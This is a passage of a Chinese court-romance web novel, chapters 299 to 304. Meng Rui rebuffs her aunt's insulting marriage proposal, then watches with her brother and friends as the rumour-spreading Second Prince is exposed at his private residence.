谢韵脸色一僵,“六弟,你说话也太难听了,我是真的关心你们。”
“我女儿才十六岁,她不着急嫁人,二姐听明白了吗?”
谢清源本就不喜欢这个爱管他的二姐,今天对谢韵的厌恶又加深了一层。
“郭学峥比蕊儿大了不止十岁,你怎么好意思说他们相配?我呸!”
第299章 美貌聪慧
“学峥不过是年纪大一点,他哪里配不上你女儿了?”
谢韵感受到谢清源明晃晃的嘲讽,脸气得发红。
其实,郭学峥的父亲是刑部侍郎,母家是承恩公府,即使年纪大一点,他的亲事也说不上艰难。
难就难在,其母谢韵身上。
谢韵出身高门,嫁的夫家也不差,看媳妇的眼光一直都很高。
稍微门第低一点的姑娘,她都觉得配不上她儿子,而门第足够高的,有更好的选择,又不一定看得上郭学峥。
谢韵给郭学峥相看过不少高门贵女,都是委婉说已定了婚事,不会像谢清源这样,当面说得如此难听。
谢韵手指捏紧椅子扶手,瞪着谢清源,气得口不择言。
“我家学峥配不上你女儿?那谁配?永安伯府那个纨绔和你女儿匹配?”
谢韵冷笑一声,略微发福的脸上充满恶意。
“我就知道,你家孟蕊是个不安分的,小小年纪在外头抛头露面做生意,这半年又不见踪影,谁知道做什么去了。
最近一回来,先是在永宁侯府惹事,和行为不检的女子混在一起,然后又惹了二皇子的眼,昨日,还听说永安伯世子亲自登门给她送礼。
哼,这样不安分的女子,给我当儿媳妇,我还不想要呢!”
谢清源一听,自己好不容易找回来的宝贝女儿,被谢韵如此贬低,气得从椅子上跳起来,冲到谢韵面前。
“谢韵,你给我说清楚,谁不安分?谁行为不检?谁又想给你当儿媳?呵!你自己儿子找不到媳妇,找到我家来挑剔起我的女儿,真是岂有此理!”
“啪!”谢韵一拍椅子,也站了起来,与谢清源面对面对峙。
“说的就是你女儿孟蕊!她的名声在外面都传臭了,就你们家还捧着、哄着,当个宝贝一般供着。”
谢韵越说,言语越恶毒。
“谢清源,我看在你是我弟弟的份上,才愿意让我儿娶孟蕊,给她一个体面,你该对我千恩万谢,好好感谢我才是。”
谢清源拳头已经捏紧,尽量忍耐着愤怒,“谢韵,要不是看在你是亲姐,凭你侮辱我女儿这几句话,我都想打死你!”
“你要打死我?长能耐了?”谢韵不屑一顾,“那你打啊,往这儿打!”
谢韵伸手指着自己的头,对谢清源挑衅,笃定他不敢动手。
“是你说的,我让你如愿!”
谢清源抬起手,真要打向谢韵的脸。
“爹爹!”
孟蕊快步跑进正堂,拦下谢清源举起的手。
“爹爹息怒,您要是打了她,她再去祖父那里告状,您有理也变无理了。”
谢清源手上的动作顿住,惊讶地看向孟蕊,“你怎么来了?回去,这里为父能处理。”
“爹爹,您的处理方式,就是和郭夫人吵架,甚至打架?”
孟蕊拉着谢清源往后退,将他与谢韵隔开距离。
“女儿还不知道您,您和郭夫人一见面就吵,这次您就在这儿坐着,让女儿和她把话说清楚,好吗?”
孟蕊将谢清源按在椅子上坐下,转身对上谢韵因激动愤怒而发红的双眼。
“郭夫人,你刚才说的话,我在门外都听到了,其中许多,我都不能认同。”
“蕊儿,我刚才是和你爹吵糊涂了,那些话你不要当真。”
谢韵放缓了语气,想到自己刚才对孟蕊的评价,不禁有些尴尬。
“你别和姑姑置气,叫什么郭夫人,多见外啊。”
孟蕊摇了摇头,语气沉稳道:
“我还是叫你郭夫人吧,你对我和我朋友不负责任的恶意评价,让我无法接受。
永宁侯府的案子,是你的夫君、刑部侍郎、郭宪郭大人主审,你应当清楚,我的朋友许南音,是被晋国公夫人和小姐陷害,她不是行为不检的女子,你不该那样说她。”
谢韵不服气,“我又没有指名道姓……”
“但你的描述,人们一听就知道你说的是她!”
孟蕊打断谢韵,带着几分怒意道。
“人言可畏,郭夫人别说你不懂,你今日到我家来,不也是听到外头对我的糟糕传言,才想着上门占我的便宜?
你不断地在我爹爹面前贬低我,就是想要我爹爹忧心我的婚事,担心我嫁不出去,然后把我许给郭大公子,对不对?”
心思被戳穿,谢韵脸上浮现一丝心虚。
瞬息过后,她又恢复如常,端起长辈的架子,对孟蕊教训道:
“就算许南音那件事,我的表述有误,但我方才说的关于你孟蕊的事,难道不是事实?
你招惹二皇子的事,又勾搭永安伯府那个纨绔世子的事,难道我说错了不成?”
“当然说错了!”
孟蕊定定看着谢韵,不紧不慢地说。
“我是陛下亲封的瑞嘉县主,长得不说倾国倾城,但也姿容秀美,惹人喜欢,我还很会赚银子。
且我家中富裕,父兄都在朝中有官职,受陛下重用。
像我这样年轻、貌美、聪慧又家世好的女子,大多数男子见了,都会对我有好感。
其中有人要死皮赖脸地追上来,追不到,就造我的谣,说我不安分,我何其无辜?
郭夫人错信谣言,不谴责那些不要脸的男子,反而来责怪我,真是让孟蕊感到寒心。”
谢韵惊讶地张开嘴,她没想到孟蕊竟会大言不惭地自吹自擂。
“你也太会给自己贴金了,是个男的,都会喜欢你不成?”
谢清源得意地插话,“我女儿就是美丽又聪慧,追求者太多的苦恼,你不懂!”
“我……”谢韵一噎。
她该想到的,谢清源生出来的种,也是和谢清源一样的厚脸皮。
孟蕊摸了摸自己微微发烫的脸,放在以前,她是说不出这种自命不凡的话的。
但回到自己家后,没有人再打压她,爹爹娘亲和兄长们,总是鼓励她,让她逐渐变得自信乐观起来。
这半年和纪华筠待一起久了,听多了纪华筠的豪言壮语,孟蕊也觉得自己不差。
她的家人们,让她相信,她就是很好,也值得很好的对待。
“郭夫人,你别口是心非了,你也觉得我很好,不是吗?”
孟蕊自信微笑着,对谢韵说。
“你要是看不上我,能这么费劲儿地来为你儿子求娶我?”
第300章 不好拿捏
对上孟蕊洋洋得意的俏脸,谢韵言不由衷道:
“我就是没看上你,我过来是看在你父亲和我的姐弟情分上,想来帮忙……”
“郭夫人呐,我家小姐不需要你的帮倒忙。”
李管家的白眼,快要翻到天上去。
“我看你是来找麻烦的,还差不多。”
“闭嘴!”
谢韵气急败坏地吼李管家。
“主子们说话,你一个下人不许插嘴。”
孟蕊皱眉提醒:“郭夫人,这里不是郭府,李管家不是下人,请收起你的傲慢!”
李管家叉着腰,上前几步,站在孟蕊身侧,讽刺地说:
“小姐你不知道,郭夫人在府中横行霸道惯了,就连郭大人和郭老夫人,也要看她的脸色,夫妻离心多年,我要是郭大人,也喜欢温柔体贴的解语花小妾。”
谢韵和郭宪夫妻不睦,已经多年,李管家这句话,无疑是在谢韵的痛点上蹦跶。
“够了!不许再说了!”
谢韵声音嘶哑,咬牙切齿地瞪向谢清源。
“六弟,你就放纵恶仆辱我至此?我要告诉父亲,让他为我做主!”
谢清源扶额,对这个闹腾的亲姐感到头疼。
“二姐,父亲年纪大了,你总去打扰他干什么?”
今年入冬后,谢太傅的身体就不大好,谢清源忙活着请了几次太医,开了药,都没有很好的效果。
太医们说,谢太傅年岁大了,只能慢慢保养,不能劳心费力。
孟蕊嗤笑一声,“不光祖父年纪大了,郭夫人你的年纪也不小了,咱们若这要分辨是非,何必去找祖父?郭大人为刑部侍郎,最善断案,我们不如一起去找他来断一断?”
“不行!”谢韵气恼,“家中琐事,去刑部作甚?”
“哦?刑部不管家常琐事,那就去京兆府好了。”
孟蕊勾起唇角,对谢韵好脾气地笑笑。
“我和京兆府的府尹崔大人也熟,他是个公正断案的好官,让他来断一断你打着关心的幌子,实则行污蔑逼嫁之恶事的做法,该判什么刑?”
“我什么时候污蔑又逼嫁了?”谢韵皱眉反问。
“怎么没有?”孟蕊张口就来,“你说我勾搭二皇子和永安伯世子,就是污蔑我的人格,你以此为要挟,提出让我嫁给你儿子,就是逼嫁!”
谢韵都懵了,手指着孟蕊,“你、你别胡说八道!”
“二皇子和永安伯世子,就是我的证人,他们可以证明,我和他们没有私情。”
孟蕊拍下她的手,表情严肃起来。
“对了,二皇子出身皇家,你不但污蔑我,还污蔑皇室贵胄,该当何罪?
我合理怀疑,外面那些造谣我和二皇子有情的谣言,会不会是郭夫人你放出去的?”
“你信口雌黄!我才不会做那种事!”谢韵急迫地否认。
听完孟蕊这些话,谢韵意识到,眼前这个小姑娘,是个不好拿捏的主儿。
不过一点小事,从孟蕊口中过一遍,就成了足以论罪的大事。
而且谢韵觉得,孟蕊是真敢报官,京兆府她报过,刑部的府衙她也去过。
单就上个月永宁侯府发生的,那种关乎女子清誉的事,素来都是关起门来私下处理。
孟蕊倒好,不但把事情搬到了刑部,还搅到了朝堂上,连整个晋国公府,都被牵扯了进去。
谢韵逐渐镇定下来,盯着孟蕊问:
“你想怎样?为了我们这点争吵去报官,简直丢人现眼,你爹也不会同意。”
“我同意。”谢清源专门和谢韵唱反调,“我不怕丢人,我和崔大人也很熟。”
谢韵脸色铁青,“你们父女俩是不是疯了?”
“我们没疯,是郭夫人你疯了,想要所有人都要按你的意愿行事。
不听你的话,你就吵闹不休,还要打扰身体有恙的祖父,你太自私自利了!”
孟蕊对谢韵早有意见,今次刚好一次说完。
“学峥表哥自身条件不差,他本也有情投意合的女子,是你强势拆散了他们。
那家姑娘三年前出嫁,学峥表哥为情所伤,才会在科考中发挥失常,未能高中,是你害得你儿子耽误年岁。”
“我这样做,都是为了他好……”谢韵我行我素道
“你自以为是的好,让学峥表哥痛苦悔恨,若他想不开,你能承担后果吗?”
孟蕊毫不留情地说。
“有些话,爹爹不好说,但我敢说,郭夫人,我知道你着急要让我许婚,是因为学峥表哥的心上人,不久前与夫家和离了。
你怕学峥表哥再和她在一起,所以来逼我,你觉得我们家都是傻子,任你几句危言耸听的话,就许下婚事?”
“你怎么会知道?”
谢韵惊讶的目光,从孟蕊移到谢清源波澜不惊的脸上。
“你们都知道?”
谢清源颔首,“二姐,当年那事闹得难看,我想给你留些脸面。”
谢清源刚才也是被谢韵辱骂孟蕊的话,气糊涂了,一时没想到这上面来。
孟蕊可不会惯着谢韵,直接威胁道:
“郭夫人,你听好了,你要是为今天这事,去打扰祖父养病,我立刻就去京兆府报官。
我要在公堂上,当着所有围观百姓的面,把你当年如何逼走周家姑娘的丑事和盘托出。
丢不丢脸,我是无所谓,就是不知道,你的好儿子知道了,是你逼着他的心爱之人,嫁给了其他男人,你觉得,他还会听你的话吗?”
“你!”谢韵瞪着孟蕊,眼神毒辣得仿佛要吃了她。
“你知道的,我真能做得出来。”
孟蕊从容不迫地笑着,笑容不达眼底。
“我在外头的名声已经很差了,不怕抛头露面,更不在乎丢人现眼。”
最后,谢韵忍着一肚子气,带着丫鬟闷头走了,连告辞都没说。
孟蕊目送她离开后,回头问谢清源:
“爹爹,女儿如今在外头的名声,是否真的很糟糕?”
这些天,孟蕊专心练武,没有出门,也没有特意去了解外面的情况。
但听谢韵所言,定然是外面的流言蜚语很严重了,她才会来今天这一出。
“这个……”谢清源欲言又止,“蕊儿你别担心,为父会想办法解决。”
“你想用什么办法?”
一道沉着的男声自远而近。
孟瑜从外面走进正堂,对着谢清源质问:
“谣言是二皇子传出来的,你打算怎么解决他?”
第301章 二哥请客
谢清源看到孟瑜,一愣,“阿瑜,你今日没去上值?”
“嗯,今日有事,告了假。”
孟瑜随意找了个位置坐下,好整以暇地看着谢清源。
“你还没回答我的问题,你要如何保护妹妹的声誉?”
谢清源没听到儿子叫他爹,有些失落地说:
“为父已经警告过曹湛,让曹家管束好二皇子,不得再来招惹你妹妹,二皇子派出去散播谣言的人,我派人抓了一批,送进了京兆府监牢,要求严惩,他们应该不会再有动作。”
“不够!”
孟瑜掷地有声,语气中带着几分愤怒和嫌弃。
“曹尚书没有承诺,二皇子还在逍遥自在,你不过是抓了一批小喽啰,外边对妹妹名声的污蔑没有停止,不然郭夫人也不会上门,来打妹妹婚事的主意。”
谢清源看着儿子,无奈地解释:
“阿瑜,你不要急,二皇子这番造谣虽然下作,但好在没有造成实质的影响,我们已经还回了礼,表明了态度,加上曹家的施压,相信再过不久,此事就能平息。”
“呵,你的意思就是什么都不做,等着事情自然结束?”孟瑜冷笑道。
眼看二哥又要和父亲吵起来,孟蕊急忙开口缓和。
“二哥,我的名声一直都不太好的,不只是因为二皇子这次的事。
以前我抛头露面地做生意,就已经被许多世家高门的夫人小姐说嘴了。
后来我为了和安乐侯府断绝关系,闹到京兆府去,被好多人围观,早就不在乎脸面了。
那些重视规矩的人,说我是个不安分的异类,又或是说什么男女关系的污言秽语,随他们说去,我听多了,不在乎的。”
这是孟蕊的实话,再难听的话,她之前都听过,今日谢韵说的那些,孟蕊听了,心中毫无波澜,根本不当一回事。
如果谢韵不是谢清源的亲姐姐,孟蕊都懒得和她说那么多话,直接叫人打出去,不对,是连门都不会让谢韵进来!
“那怎么行?你没有错,凭什么由得让别人败坏名声?”
孟瑜不赞同地看向孟蕊,语气不自觉地放轻。
“你性子绵软,容易被人欺负,以后有二哥在,必不会让你受委屈。”
孟瑜站起身,对孟蕊招了招手。
“走,二哥带你们出去吃好的,不和某些只会委屈亲生儿女的人待在一起。”
他说着,瞥了一眼谢清源,大步向外走去。
孟蕊快速对谢清源行了一礼,“爹爹,我随二哥出门了。”
说完,孟蕊转身,快步追上孟瑜。
这还是二哥第一次主动与她亲近,邀请她出去吃饭,孟蕊当然不能放过这次和二哥拉近关系的机会。
留在正堂中的谢清源,还在纠结孟瑜的话。
“阿瑜说‘带你们出去’,他是不是也包括了我啊?我要跟他们一起去不?”
他身边的李管家凉凉道:
“老爷,别自作多情了,你没听见二少爷后边一句吗?
你就是二少爷口中那个委屈了他和小姐的人,他都不愿和你待在一起,怎么可能还请你吃饭?”
“我……”谢清源喉头一哽,心中一酸。
他不是不想为女儿报复回去,但现在的时机不对,他不能彻底与曹家和二皇子翻脸,怕影响了大局。
“老爷,你要有自知之明,二少爷虽和你回了京,但心底里根本没有原谅你当年的抛弃。”
李管家继续说着让谢清源扎心的话。
“他说的‘你们’,指的是我们小姐和纪小姐,和你没关系。”
“我知道,用不着你多嘴!”
谢清源瞪了李管家一眼,甩袖离开。
李管家追在他身后问:
“老爷,那你午膳还吃吗?看你可怜,要不我陪你用膳啊?”
……
另一边,孟瑜和孟蕊一起去菡萏院,叫上纪华筠,又带上翠柳,一起出了门。
孟瑜带她们去吃饭的酒楼,是京中著名的曲生楼。
这里是京中文人墨客最喜来的酒楼,布置清幽雅致,能来这里的客人,都有些才华,几乎没有白身。
孟蕊见孟瑜与掌柜颇为熟稔,略一颔首后,便带着她们径直上了三楼的雅间。
点菜也没让孟蕊她们纠结,孟瑜直接让掌柜按之前点好的菜来上。
不多时,丰盛的菜肴摆上桌,纪华筠高兴地冲孟瑜笑。
“阿瑜,你太贴心了,都是我爱吃的。”
“你喜欢就好。”
孟瑜被夸得有些不自在,逃避纪华筠灼热的目光,看向孟蕊和翠柳。
“蕊儿,你和翠柳也尝尝看,这些菜合不合口味,不好可以点别的。”
孟蕊笑着回应:“华筠姐姐喜欢吃的,我们都喜欢吃,是不是,翠柳?”
翠柳却仿佛没听到孟蕊的话,神思不属地总往门外看。
此时,因菜还没上齐,房门没有关。
孟蕊顺着翠柳的目光望过去,可以看到三楼对面雅间紧闭的房门。
三楼只有两间雅间,孟蕊他们所在的这间,很宽敞,除了他们所在的饭厅,还有书房、茶室、琴室,甚至可供休息的卧房。
在这里除了吃饭,还能享受其他雅趣,琴棋书画,样样皆可。
是以京中的文人墨客小聚,颇喜在曲生楼,而曲生楼三楼的雅间,也是最难订到的。
孟蕊刚到曲生楼门口时,已经略感惊讶了。
二哥是武将,怎会带她们来这种文人常聚会的地方?
且看二哥和掌柜的互动,很是相熟,不像是第一次来的样子。
跟着孟瑜走上三楼后,孟蕊更觉诧异,二哥居然订到了曲生楼三楼的雅间,他们四个人用餐,需要这么大的雅间吗?
而翠柳的异样,也让孟蕊感到奇怪,不过对面雅间的方向,她并未发现可疑。
“翠柳,你在看什么?”
翠柳讷讷回头,“没什么,就是对面那雅间里,好像有……人。”
纪华筠“噗嗤”一声笑出来,“小翠柳,咱们能在这里吃饭,对面雅间里,也有人在用餐,有什么奇怪?”
说话间,最后一道菜上齐,上菜的伙计离开时关上房门,纪华筠招呼着大家一起开吃。
翠柳看着满桌美味,食指大动,暂时放下心中疑虑。
孟蕊吃着佳肴,心中却升起一股预感,总觉得有什么事,即将发生……
第302章 印象迥异
午膳吃得差不多时,房门上响起敲门声。
翠柳没有多想,起身就去开门。
当看到门外笑脸相迎的秦仲棋时,翠柳一个慌神,“砰”的一声,又把门关上了。
被关在门外的秦仲棋,不可置信地盯着房门,几息之后,“叩叩叩”地继续敲门。
“翠柳,站在我身后。”
孟蕊将翠柳拉到自己身后护着,如临大敌地打开房门,对着秦仲棋冷声问。
“秦世子,有何贵干?”
“县主,许久不见,近来可好?”
秦仲棋笑得灿烂,与孟蕊亲切地打招呼。
“我今日刚好在对面雅间用餐,听掌柜的说,孟贤弟也在这里,过来打声招呼。”
他探头向房内望去,对着饭桌前的孟瑜招了招手。
孟蕊狐疑地看着秦仲棋,哪有这么巧的事,他们来曲生楼用饭,刚好对面雅间的,就是秦仲棋?
秦仲棋还叫她二哥孟贤弟,怎么听怎么别扭。
“蕊儿,秦世子是我的朋友,让他进来吧。”
孟瑜发了话,孟蕊才不情不愿地让开道。
秦仲棋笑容满面地走进来,第一眼就看向孟蕊身后的翠柳。
“柳姑娘,好巧啊,你今日也在这里。”
“见过秦世子。”
翠柳低着头,屈膝行了一礼。
她依赖地向孟蕊的身边靠了靠,手指轻轻拉着孟蕊的衣袖。
孟蕊握住翠柳冰凉的指尖,横跨一小步,完全挡住秦仲棋看向翠柳的视线,警告道:
“秦世子,我二哥没和你说清楚吗?以前你欺骗翠柳的事,我可以不计较,但请你不要再来招惹她!”
“冤枉啊,县主,我真没骗她!”
秦仲棋苦着脸,往旁边挪了两步,想越过孟蕊去看翠柳。
“柳姑娘,我没有故意隐瞒我的身份,我们两年前就在西市见过了,我以为你知道我的身份。”
“你少油嘴滑舌,又想来哄骗我们翠柳!”
孟蕊把翠柳护在身后,挡得严严实实。
“秦世子,翠柳不是你以为的那种女子,我把她当妹妹看待,不会允许人欺负她!”
“县主,你说话要讲道理,我什么时候欺负她了?不信你问她。”
秦仲棋觉得自己有理说不清,绕着孟蕊转圈,想要和翠柳说话。
孟蕊随着秦仲棋的脚步移动,严防死守,伸开双手护着翠柳,不让秦仲棋接近。
孟瑜看不下去,站起身走到门口,先把房门关上,转身向对峙的两人提议:
“别转圈了,咱们坐下来,把事情说清楚。”
纪华筠啃着鸡腿,赞同地点头。
“对,快坐下,详细说说两年前,你俩怎么认识的?”
孟蕊又狠狠瞪了秦仲棋一眼,回头询问地看向翠柳,“你们两年前就认识了?”
不是说五个月前才认识的吗?
翠柳一脸茫然,“我不知道……”
“你不知道?”
秦仲棋一脸受伤地看着翠柳。
“那你为什么要送我美味的糕点?”
这个问题翠柳知道,她天真地回答:
“因为你送我书,又不要我的钱,我不想占你的便宜,就做了糕点送你。”
“你竟然真的……不记得我……”
秦仲棋失落地微垂下头,仿佛失去全身的力气般,沉重地迈着步子,随意找了个椅子,安放颓然的身躯。
纪华筠吃完了手中鸡腿,又喝了一口梅花酒,看着秦仲棋,津津有味地问:
“秦世子,你别沉默呀,你和小翠柳怎么认识的,你说出来听听,别是认错了人。”
“我没认错人!”
秦仲棋抬起头,笃定地说。
“那块栗子糕的味道,我永远记得,只有她,能做出那种味道。”
孟蕊也带着翠柳,在远离秦仲棋的窗边椅子坐下。
听到栗子糕三个字,孟蕊忍不住问:“什么栗子糕?”
接下来,秦仲棋声情并茂地讲述了,他和翠柳,因栗子糕而结缘的故事。
两年前的一个清晨,秦仲棋因为前一天夜里的应酬,宿醉倒在一个巷子里。
秦仲棋当时身边没带人,醒来时感觉头晕目眩,浑身无力,几次想要从地上爬起,都没能成功。
就在他即将倒在地上之际,翠柳提着食盒路过。
秦仲棋向翠柳求助,翠柳把食盒里一整盘栗子糕,都送给了秦仲棋。
秦仲棋吃了栗子糕,恢复了力气,头不昏了,眼不花了,但送他栗子糕的善心姑娘,却不见了踪影。
“我后来吃遍了京中各家糕点铺的栗子糕,都没有再遇到那天吃到的美味,直到几个月前,又在书肆遇到了你……”
秦仲棋深深看向翠柳,多情的桃花眼中,闪烁着压抑的激动。
而翠柳,只是呆呆地望着秦仲棋,小嘴微张,乌溜溜的大眼睛里,逐渐浮现惊愕之色。
“我想起来了,你是那个拦路打劫我糕点的贼人!”
翠柳确定地自顾自点头,圆圆的可爱小脸上,生出几分愤怒。
她扯着孟蕊的衣袖,迫不及待地讲出了另一个版本的故事。
“姑娘,您还记得吗?两年多前,您刚接受安乐侯府的产业不久,每日忙忙碌碌,时常都没空用膳。
那日,您急着去盘账,天刚亮就带着我,从侯府出发,去了铺子里,连早饭都没来得及吃,那间铺子离我家不远,所以我回家给您做了一盘您最喜欢吃栗子糕。
当时,我怕栗子糕凉了不好吃,抄小路,想尽快回到铺子,可哪里想到,途中会遇到打劫我糕点的贼人。
我只记得那人穿着一身黑,趴在地上,头发乱糟糟的,脸也脏兮兮的,一双眼睛如狼似虎,盯着我的食盒,要我给他吃食。
我当时害怕极了,只好把栗子糕都给了他,然后跑回家,又给姑娘您做了一份,送到铺子里时,您还问我怎么去了那么久。”
孟蕊听完翠柳的话,努力回忆,只依稀记得,翠柳原来的家,是在西市附近。
但两年前的事,对于她来说,已经是上一世久远的事,中间隔着快十年,又不是印象深刻的大事,孟蕊实在想不起来。
“那时太忙,你时常做栗子糕给我吃,我记不清了。”
纪华筠坏笑着看向秦仲棋,“秦世子,听到没?你是抢人家小姑娘糕点的贼人,都把我们小翠柳吓着了。”
第303章 误会解除
秦仲棋眼神受伤,望着翠柳,难过地问:
“我当时有告知你,我是永安伯府的秦仲棋,你不记得了吗?”
翠柳困惑地摇头,纠结着说:
“当时我害怕极了,根本没听清你说什么,只看到你一直盯着我的食盒,还用手来拽……
我以为你是饿了,要抢食盒,但食盒是侯府的,我不能给你,只好从食盒里拿出栗子糕给了你。
你拿到栗子糕,就开始狼吞虎咽,我更觉得你是来抢吃食的,所以赶紧跑了。”
在那以后,翠柳不管事情有多着急,再也不敢走近道小路,也逐渐淡忘了这件被抢糕点的小事。
“哈哈哈……”纪华筠笑出声来,“秦世子你当人家是救命恩人,人家只觉得你是抢糕点的贼人,哈哈哈……”
孟蕊不觉好笑,只觉奇怪。
安乐侯府的铺子在西市,翠柳家在西市旁边的光福坊中,翠柳绕小路到铺子,并不过经过永安伯府,而且那周围也没有酒坊青楼。
秦仲棋为何会独自一人,狼狈地晕倒在那附近的巷子里?
他那样一个生意老手,伯府世子,就算被人灌酒,也不至于喝得人事不知,宿醉醒来,还浑身无力,头晕眼花,身边连个伺候的下人都没有。
“秦世子,你初遇翠柳的前一天,被人下药了?”孟蕊直截了当地问。
这是可能造成秦仲棋那般情形的原因,在鸿门宴上被人下药,偷偷跑出来,身边才会没有人跟着,在路过的小巷晕倒,天明苏醒依然浑身难受。
秦仲棋惊讶地看向孟蕊,“你怎么知道?”
“猜测而已。”
孟蕊有条不紊地分析。
“听闻秦世子酒量很好,千杯不倒,能让你第二日还站不起身的原因,大概不会是酒造成的,而是有人在你身上动了手脚。”
“县主聪慧,秦某佩服。”
秦仲棋欣赏地对孟蕊拱了拱手。
“我那日确实在席间遭了暗算,但对方又是我不能得罪的人,只好假作如厕,从后院逃走,本欲回府,怎料药劲太大,跌跌撞撞地跑到那处巷子,晕倒在半路。
早上醒来,药力虽散去,但我身体受到影响,浑身无力,若不是遇到好心的柳姑娘相救,将糕点赠与我,让我恢复如常,我都不知道自己要怎么办。”
他站起身,规规矩矩地对着翠柳作揖行礼。
“秦某多谢柳姑娘当日仗义相救,吓到姑娘,并非我所愿,请姑娘原谅。”
翠柳不好意思地站起身,“是我误会你了,请秦世子见谅才是。”
“无妨,咱们把误会解开便好。”
秦仲棋俊朗的脸上,扬起期待的笑意。
“那我们是不是可以像从前那样来往,我近来又进了些新书,你何时再来书肆挑选?”
翠柳后退一步,垂眸摇头,“秦世子,你我身份悬殊,之前是我僭越,今后我们还是不要再来往了。”
秦仲棋怔住,片刻后才问:
“是不是你家县主,不让你和我来往?”
“和我家姑娘无关,是我自己的决定。”翠柳认真道。
秦仲棋怀疑地瞄了一眼孟蕊,又盯着翠柳问:
“是不是她逼迫你的?我要听你说实话!”
听到秦仲棋怪责孟蕊,翠柳看着抬起头。
“秦世子要听实话是吗?那我就直说了。”
她看着秦仲棋,圆溜溜的眸中隐含怒气。
“我之前不知道你是秦世子,只以为你是商户家的公子,才与你在一起说笑聊天的。
秦世子你自己应该知道,你在外的纨绔名声不好听,风流事迹不断。
我与你来往,污了自己名声不要紧,但不能因为我,影响了我家姑娘的清誉。”
翠柳想到近期京中的传言,越说越生气。
“就因为你上门送了几本书,外头就传起你与我家姑娘的难听话……”
两滴晶莹的泪珠,从翠柳眼眶中滴落,她带着哭腔指责。
“那些坏人!他们、他们怎么能那样污蔑我家姑娘呢?都是因为我,我现在特别后悔认识你!”
秦仲棋第一次看到翠柳哭,无措地站在原地,张嘴想要劝,却不知该说什么。
他的名声差是事实,但他那些都是逢场作戏,他不是世人口中的风流纨绔。
孟蕊站起身,把秦仲棋推开,将翠柳搂在怀里安慰。
“好了,翠柳,别难过,你都说那些是坏人了,他们说的脏话,你别放在心上,为了那些人生气,不值当的。”
“可是姑娘,呜呜……我就是不想别人说你不好……”
翠柳回抱住孟蕊,将头埋在孟蕊肩头。
“我家姑娘这样好,他们凭什么那样说你?”
孟蕊无奈地拍着翠柳的背,现在的翠柳没有经历风雨,还是孩子心性。
更糟糕一百倍的情形,孟蕊都经历过,别人几句难听话算什么?
“不对,这事不能怪我!”
被孟蕊推到一边的秦仲棋,又走上前来,表情严肃地对翠柳说。
“外头那些关于你家姑娘的风言风语,都是二皇子派人散播的,我也是被卷入的受害者。”
翠柳抽泣着从孟蕊怀中离开,侧头看向秦仲棋。
“就怪你!你要是名声没那么臭,就不会影响到我家小姐了!”
秦仲棋没想到,他从不在乎的臭名声,居然会在今天,成为射向自己的回旋镖。
“都是二皇子的错!”秦仲棋下了结论,转身看向孟瑜,“时间差不多了。”
孟瑜点点头,站起身,走到窗边,将窗户打开一条缝。
秦仲棋走到孟瑜身边,打开另一扇窗,向外看去。
“你们在看什么?”纪华筠擦干净了手,好奇地走到他们身后。
翠柳已经止住眼泪,和孟蕊一起看向他们的奇怪动作。
外面,会发生什么吗?
秦仲棋侧头,对着翠柳神秘一笑。
“柳姑娘,再过不久,害得你家姑娘名声有损的罪魁祸首,也要身败名裂了。”
“什么意思啊?”翠柳脸上的泪痕未干,脑中发懵,一时间没想通秦仲棋的话。
孟蕊却是听懂了。
害她名声有损的罪魁祸首,不就是二皇子吗?
她二哥刚才在家中,也和爹爹说,不能轻易放过二皇子,难道他们要做什么?
孟蕊心头一紧,正要发问,就听到外面街上,传来喧闹声……
第304章 因果报应
孟蕊和翠柳也走到窗前,望向外面。
曲生楼三楼视野很好,周围的房屋院落,都能看得清楚。
那传来喧闹声的地方,是距离曲生楼十几米远的一处三进民居院落,从外观看,与周围的其他院落没有区别。
而那喧闹声,来自冲入那处院落大门的人群,以及跟在后头瞧热闹,把大门围了一圈又一圈的百姓。
“那里是什么地方?”孟蕊蹙眉问。
她的目光向那处院落细细打量,只见最里面的第三进院子中,正房紧闭的房门突然打开,一名衣衫不整的男子,从门内窜了出来。
他只穿了里衣,外衣拿在手上,脚上踢踏着两只靴子,一边动作慌张地披上外衣,一边警惕地往院门看。
因为角度的原因,孟蕊看不清那男子的脸,但若论身形,倒是与二皇子相符。
“是二皇子的一处私宅。”
孟瑜沉稳的声音响起。
“也是他寻花问柳后,荒淫享乐的地方。”
虽已做了心理准备,但听到孟瑜说出的答案,孟蕊依然不禁感到惊讶和荒唐。
堂堂皇子,要什么样的女人没有?居然在闹市中,备一私宅,只为荒淫享乐。
从现在的情形看,二皇子慌不择路的样子,像是被抓奸的,而那些冲入院落的人群,像是来捉奸的。
孟蕊定睛望向那群人,他们一部分人,在第一进院子里与二皇子的几个侍卫纠缠,利用人数优势,将侍卫困住。
另一部分人,已经闯入了第二进院子,正要砸开通往第三进院子的门。
而二皇子,还在第三进院子中,刚穿上外衣和靴子,连腰带都没系好,就从屋里搬了凳子到院子墙角,看那架势,是要翻墙逃跑。
“啊!二皇子要跑了!”
纪华筠紧张地喊出声。
“不能让他跑,我去把他捉回来。”
她说着,就要翻上窗台,打算用轻功直冲过去抓人。
孟瑜早有防备,拉住纪华筠的胳膊,“别急,他跑不掉。”
话音刚落,就见那房中跑出一名身材纤细的粉衣女子。
那女子衣着完整,但发髻披散,她追着二皇子到了墙角,从后面一把抱住二皇子的腰,中断了二皇子爬墙的动作。
“那女子该不会是……”孟蕊心中有个答案,呼之欲出。
“是齐家二房的齐月佳。”
秦仲棋嘴角勾着笑,看了眼翠柳,对孟蕊说。
“齐月佳构陷他人清白的时候,应该不会想到,她有一天,要用构陷自己清白的方式,拉二皇子下水,县主,这份礼物,你满意吗?”
话说到这个份儿上,孟蕊还有什么不明白的。
自从刑部和大理寺共同调查晋国公府后,至今已有快一个月。
晋国公卖官鬻爵的证据没有查出来,但查出了晋国公府私吞良田、打杀人命的罪状。
再加上晋国公夫人和二房构陷许南音的清白,意图报复许御史一事,陛下有意重罚。
晋国公断尾求生,将所有罪名都推给了自己的二弟和晋国公夫人。
在曹家的力保之下,晋国公府勉强保住了爵位,晋国公被罢了官,他的两个儿子齐轩和齐辕,也被免职。
晋国公夫人和晋国公府二爷,以及参与作恶的下人们,都被关进了刑部大牢,还待详细审理定案。
齐月佳从晋国公府的二房嫡女,变成了父亲入狱的罪人之后,她无法接受,求到伯父晋国公面前,求晋国公想办法救出她的父亲。
晋国公好不容易勉强保住了自己,推了二弟和妻子出去顶罪,自然不可能再搅进来。
晋国公让齐月佳以大局为重,还说她名声已经坏了,能保下她,已经不容易,让齐月佳做好准备,过完年就要把她嫁出京去……
这些是孟蕊之前就知道的消息。
